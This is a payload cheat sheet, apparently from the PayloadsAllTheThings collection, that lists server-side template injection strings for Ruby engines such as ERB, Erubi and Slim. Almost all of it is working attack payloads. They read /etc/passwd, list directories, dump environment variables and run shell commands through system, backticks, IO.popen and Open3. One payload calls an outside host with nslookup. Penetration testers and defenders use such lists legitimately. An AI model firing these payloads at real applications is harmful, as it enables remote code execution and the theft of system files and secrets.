PayloadsAllTheThings/Server Side Template Injection/Ruby.md

Server Side Template Injection - Ruby

Summary

• Templating Libraries
• Ruby
  • Ruby - Basic injections
  • Ruby - Retrieve /etc/passwd
  • Ruby - List files and directories
  • Ruby - Remote Command execution
• References

Templating Libraries

Template Name	Payload Format
Erb	<%= %>
Erubi	<%= %>
Erubis	<%= %>
HAML	#{ }
Liquid	{{ }}
Mustache	{{ }}
Slim	#{ }

Ruby

Ruby - Basic injections

ERB:

<%= 7 * 7 %>

Slim:

#{ 7 * 7 }

Ruby - Retrieve /etc/passwd

<%= File.open('/etc/passwd').read %>

Ruby - List files and directories

<%= Dir.entries('/') %>

Ruby - Remote Command execution

Execute code using SSTI for Erb,Erubi,Erubis engine.

<%=(`nslookup oastify.com`)%>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require  'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Execute code using SSTI for Slim engine.

#{ %x|env| }

References

• Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017